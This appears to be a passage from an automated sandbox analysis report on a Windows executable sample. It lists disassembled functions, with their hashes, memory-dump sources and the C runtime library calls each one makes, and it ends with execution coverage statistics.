Instruction Fuzzy Hash: 09113D4A8492C4BDCF424A7840E56EBEFA68E2B218F4A71DA88C44B743D01B150FE7A1

Function 04BED0A3 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058334723.0000000004BED000.00000040.00000020.00020000.00000000.sdmp, Offset: 04BED000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bed000_16oApcahEa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 43434b6a953e977f7cb1a6484e827214cdb7219843859be654e40b814da8e564
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: EC1182723401019FD754DF56DC91FA673EEEB89320B1980A5ED08CB312E7B6E842C760

Function 04CE0042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 7ace3dd9623f87b6ac21f58a0798a9df62d62374a95ed6b646c2dc080136752d
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 971170723401109FE754DE67DCD1EB673EAFB88224B198155E908CB311E7B5E801C7A0

Function 04CEA79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: a6a222c9c3d1a4d484153eb1453a43a89ff2f1b57d56bd21a433522e362b8096
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: A50128769106629BD710DF3FC8C046AFBF1BB082117568B2ADC9083A41D334F662DBE8

Function 04D06437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 04D0644E

Part of subcall function 04D09636: __calloc_impl.LIBCMT ref: 04D09645

__calloc_crt.LIBCMT ref: 04D06472
_free.LIBCMT ref: 04D06480
__calloc_crt.LIBCMT ref: 04D0648E
_free.LIBCMT ref: 04D0649E
_free.LIBCMT ref: 04D064A4
__copytlocinfo_nolock.LIBCMT ref: 04D064B3
__setmbcp_nolock.LIBCMT ref: 04D064D4
_free.LIBCMT ref: 04D064E2
___removelocaleref.LIBCMT ref: 04D064E9
___freetlocinfo.LIBCMT ref: 04D064F0
_free.LIBCMT ref: 04D064F6

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: b14a73d1dccc4406fa763036ad6ca6d79983b9549ed91f7ee6b0411b580eb79a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 89218E35308601AEFB21BF65D809F5F7BE4EF41768B90C429F5855B0E0EA22F960DA71

Function 04D03F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04D03F51

Part of subcall function 04D05BA8: __getptd_noexit.LIBCMT ref: 04D05BA8

__gmtime64_s.LIBCMT ref: 04D03FEA
__gmtime64_s.LIBCMT ref: 04D04020
__gmtime64_s.LIBCMT ref: 04D0403D
__allrem.LIBCMT ref: 04D04093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D040AF
__allrem.LIBCMT ref: 04D040C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D040E4
__allrem.LIBCMT ref: 04D040FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D04119
__invoke_watson.LIBCMT ref: 04D0418A

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 7a9b271aca7a74a00eec5288bc5de14e26d3b2f55b746c06ba8fb6b7ea28dc11
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 3971B371B00716BBE714AE69CC41B6AB7E9FF50368F14C22AE914E76C0E770F94087A1

Function 04D0650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 04D06547
__calloc_crt.LIBCMT ref: 04D06598
__lock.LIBCMT ref: 04D065AE
__copytlocinfo_nolock.LIBCMT ref: 04D065BF
_wcscmp.LIBCMT ref: 04D065F9
__lock.LIBCMT ref: 04D06610
__updatetlocinfoEx_nolock.LIBCMT ref: 04D06622
___removelocaleref.LIBCMT ref: 04D06628
__updatetlocinfoEx_nolock.LIBCMT ref: 04D06647

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: ef23dcbbd65c6f92cb8758f1b7a0eb319192a5b9feb077b292e12f159feb7daa
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: F741F332A04308AFEB00AFA4E944B9E3BA4FF04318F10C46AE914571D1DB76F654DB75

Function 04D084AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 04D084B1
_free.LIBCMT ref: 04D084E2
_free.LIBCMT ref: 04D084F5
_free.LIBCMT ref: 04D08513
_free.LIBCMT ref: 04D08525
_free.LIBCMT ref: 04D08536
_free.LIBCMT ref: 04D08541
_free.LIBCMT ref: 04D08565
_free.LIBCMT ref: 04D08581
_free.LIBCMT ref: 04D08597
_free.LIBCMT ref: 04D085BF

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: d2e573d6e4a61f22d2ad238c135c7e704be3950cbffd6f2f0f28326dcd2a9cc9
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 88317131A002509BDB216F54FC8CA4D77B4FB14325744C62AF9056B2E0CBB5F9C9AEA4

Function 04D2FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 04D2FC1F

Part of subcall function 04D1169C: std::exception::_Copy_str.LIBCMT ref: 04D116B5

__CxxThrowException@8.LIBCMT ref: 04D2FC34
std::exception::exception.LIBCMT ref: 04D2FC4D
__CxxThrowException@8.LIBCMT ref: 04D2FC62
std::regex_error::regex_error.LIBCPMT ref: 04D2FC74

Part of subcall function 04D2F914: std::exception::exception.LIBCMT ref: 04D2F92E

__CxxThrowException@8.LIBCMT ref: 04D2FC82
std::exception::exception.LIBCMT ref: 04D2FC9B
__CxxThrowException@8.LIBCMT ref: 04D2FCB0

Strings

leM, xrefs: 04D2FCA8

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: c0760b65ce20e9d3450c84a0b80ab2960f469df5980f37feedad1cfb1543c0e8
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: D911BC79D0020DBBCF00FFA5E455CDEBB7CEA08248F408566AD1497655EB74B7488BA4

Function 04CEF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 04CEF01F

Part of subcall function 04D01602: __FF_MSGBANNER.LIBCMT ref: 04D01619
Part of subcall function 04D01602: __NMSG_WRITE.LIBCMT ref: 04D01620

_malloc.LIBCMT ref: 04CEF02B
_wprintf.LIBCMT ref: 04CEF03E
_free.LIBCMT ref: 04CEF044
_free.LIBCMT ref: 04CEF065
_malloc.LIBCMT ref: 04CEF06D
_sprintf.LIBCMT ref: 04CEF0C0
_wprintf.LIBCMT ref: 04CEF0D2
_wprintf.LIBCMT ref: 04CEF0DC
_free.LIBCMT ref: 04CEF0E5

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: bc3f5b0751a0fb4a8707b77977e6c979bb125416731535631840be43f756b7a5
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 561105B66015503AE26266B55C19FFF3AECDF46315F4440AAFA48E21C0DA196A0493B1

Function 04CF1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 04CF19C6
__CxxThrowException@8.LIBCMT ref: 04CF19F1
__CxxThrowException@8.LIBCMT ref: 04CF1A1A
__CxxThrowException@8.LIBCMT ref: 04CF1A4B
_memset.LIBCMT ref: 04CF1A6A
__CxxThrowException@8.LIBCMT ref: 04CF1A90
_malloc.LIBCMT ref: 04CF1AA0
_memset.LIBCMT ref: 04CF1AAB
_sprintf.LIBCMT ref: 04CF1ACE

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: a45b22e287d9fa9379bc0aac89fbc211c1bdfeb87c7b684aa64c8d994957e144
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: B0514B71E40209FBEB11DBA5DC85FEFBBB8FB04704F144125FA05B6190EB746A018BA5

Function 04CEF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 04CEF284
__CxxThrowException@8.LIBCMT ref: 04CEF2AF
__CxxThrowException@8.LIBCMT ref: 04CEF2DE
__CxxThrowException@8.LIBCMT ref: 04CEF30F
_memset.LIBCMT ref: 04CEF32E
__CxxThrowException@8.LIBCMT ref: 04CEF354
_sprintf.LIBCMT ref: 04CEF373

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: 642c9a0afeb3cc42d82b827943c75d6d865709467e17ecdbebc478c5c779ca7d
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 72512FB1E40209FAEF11DFA2DC46FFEBB79EB04704F104129F905B6190E775AA058BA5

Function 04CEF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 04CEF4B7
__CxxThrowException@8.LIBCMT ref: 04CEF4E2
__CxxThrowException@8.LIBCMT ref: 04CEF504
__CxxThrowException@8.LIBCMT ref: 04CEF535
_memset.LIBCMT ref: 04CEF554
__CxxThrowException@8.LIBCMT ref: 04CEF57A
_sprintf.LIBCMT ref: 04CEF594

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 8fc22a88f5f757a3b3bda73f1b5d8ac5e84471bbff1cafd6c1b1cbf5b1772a16
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 9E514171E40209BAEF11DFA2DC45FFFBBB9EB18704F104129F905B6190E774AA058BA4

Function 04D2208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 04D220C6
__invoke_watson.LIBCMT ref: 04D22120
_strlen.LIBCMT ref: 04D220D4

Part of subcall function 04D05BA8: __getptd_noexit.LIBCMT ref: 04D05BA8

_strnlen.LIBCMT ref: 04D2215F
__lock.LIBCMT ref: 04D22170
__getenv_helper_nolock.LIBCMT ref: 04D2217B

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 69289d23ca5ffa0c16de4b8facd0bbded818f65b227d582f043676f63ab5efc3
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 6731D432B00231AAEB226AA4DE01BAE3794EF55B6CF108195F914EB2C0DB74F54186B5

Function 04DA66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 04DA66DD

Part of subcall function 04D059BF: __calloc_crt.LIBCMT ref: 04D059E2
Part of subcall function 04D059BF: __initptd.LIBCMT ref: 04D05A04

__calloc_crt.LIBCMT ref: 04DA6700
__get_sys_err_msg.LIBCMT ref: 04DA671E
__invoke_watson.LIBCMT ref: 04DA673B
__get_sys_err_msg.LIBCMT ref: 04DA676D
__invoke_watson.LIBCMT ref: 04DA678B

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: e9e76b3cfa9b67daf868d2a27ee94084cd8bfdbea85179c29c413f3412f34243
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 4711E771700214BBFB217A25DC00BBB738CEF00A68F084466FE8897690F661FD2046F4

Function 04CF2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04CF26DB
_memset.LIBCMT ref: 04CF2A30
_memset.LIBCMT ref: 04CF2AC0

Strings

D, xrefs: 04CF2AC8

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 3847b5459768d099b706f1ec75fa5f0a4fd23a62f8df20b70187463a5ad3bb86
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 9DE17D71D00219AADF64DFA0DC49FEEBBB9BF04304F1440AAEA09E7190EB756A45CF54

Function 04CED8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04CED8EA

Strings

, xrefs: 04CEDADB
$, xrefs: 04CEDAE2
(, xrefs: 04CEDAE9

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: cae89ebd9faa540f8d346cebfd9f7faceb0b7bca303a3cc3e9750e8b104b20a4
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 7691D171D00219EBEF20DFA1CC49BEEBBB5AF05304F144169D516772C0EBB66A48CB65

Function 04D05CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 04D05CF4

Strings

U, xrefs: 04D05CFD

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 91367dc60762f940145933d53141de07ad50cb70a63adef5a0b2c2ed8dfd58c8
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 5121C332718208BAEB00DAA4BC55BBA77ECEB45650F508166FD09C71D0FA61F9408AB4

Function 04CFA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04CFA858
_memset.LIBCMT ref: 04CFA869
_memset.LIBCMT ref: 04CFA87A

Strings

p2Q, xrefs: 04CFA882

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 6fcd12701710b88ac85a48209cc4d8acd842d5b91489fbc108f88d5bd43c2a58
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 08F0E578698751A5F7117790BC267957D917B31B08F108045D1142F2E1D3FD334C67A9

Function 04D2FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 04D2FBF1

Part of subcall function 04D1169C: std::exception::_Copy_str.LIBCMT ref: 04D116B5

__CxxThrowException@8.LIBCMT ref: 04D2FC06

Strings

TeM, xrefs: 04D2FBFB, 04D2FBE7
TeM, xrefs: 04D2FBFE

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: f5867accf5e7bf736e9b34c21ace51c32b567b17f20391b25f999dbcb4396d3f
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: DED06775D0020CBBDB00EFA5E459CDDBBB8EA04348F40C466AE1497255EA74A7498B94

Function 04CED0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 04D0197D: __wfsopen.LIBCMT ref: 04D01988

_fgetws.LIBCMT ref: 04CED15C

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: b7f06b61ee78f11f245512b9ce7155ac1ac7e582ee28a30fce3dbc96225f77ae
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 8A91C571D0031AABDF21DFA5CC447BEB7B6EF04314F144529E816A7281E77ABA04CBA5

Function 04CED540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 04CED77E
_malloc.LIBCMT ref: 04CED7B2
_malloc.LIBCMT ref: 04CED7C1
_fprintf.LIBCMT ref: 04CED815

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 81385bfbf16f1ec9b5644e2581ded68390c067f87ec5c0623bfbf1607043097c
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 65A17FB1D00249EBEF11EB94CC49BEEBB75EF14308F144068D50677291D7B66A48CBA6

Function 04D02AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 04D02B2E
__read_nolock.LIBCMT ref: 04D02BFE
__filbuf.LIBCMT ref: 04D02C21
_memset.LIBCMT ref: 04D02C65

Part of subcall function 04D05BA8: __getptd_noexit.LIBCMT ref: 04D05BA8

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: fdbe42a344728da173aaffb759cf1833068a2ae622df2c82f5e54eb624a73014
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 0A51AF34B023069BDB258EA988887AEB7A5FF40320F14C7A9E875972D4E771FD508B54

Function 04D21359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 04D2137D

Part of subcall function 04D21A9D: __fltout2.LIBCMT ref: 04D21AC6

__cftog_l.LIBCMT ref: 04D213A3
__cftoe_l.LIBCMT ref: 04D213D5

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 7affd5ac5e693b1e987adeb76803f33642e78689d331c3cd4aa65e163cf210ac
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 0101783200015EBBCF126E84CE01CEE3F63FB29348B088515FA9858830D233E5B2AB91

Function 04DA7A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 04DA7A4B

Part of subcall function 04DA8140: ___BuildCatchObjectHelper.LIBCMT ref: 04DA8172
Part of subcall function 04DA8140: ___AdjustPointer.LIBCMT ref: 04DA8189

_UnwindNestedFrames.LIBCMT ref: 04DA7A62
___FrameUnwindToState.LIBCMT ref: 04DA7A74
CallCatchBlock.LIBCMT ref: 04DA7A98

Memory Dump Source

Source File: 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ce0000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 7677e8ad9ae5ac30fe29e127dd2625e6a6961b90dd0e128ca737c666495ae13c
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: C701D336500109BBDF12AF55CC04EDA7BAAFF48758F158014FE5866120D772E9B1EBA0

Analysis Process: 16oApcahEa.exePID: 6388, Parent PID: 3792COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	36.6%
Total number of Nodes:	816
Total number of Limit Nodes:	93

Executed Functions

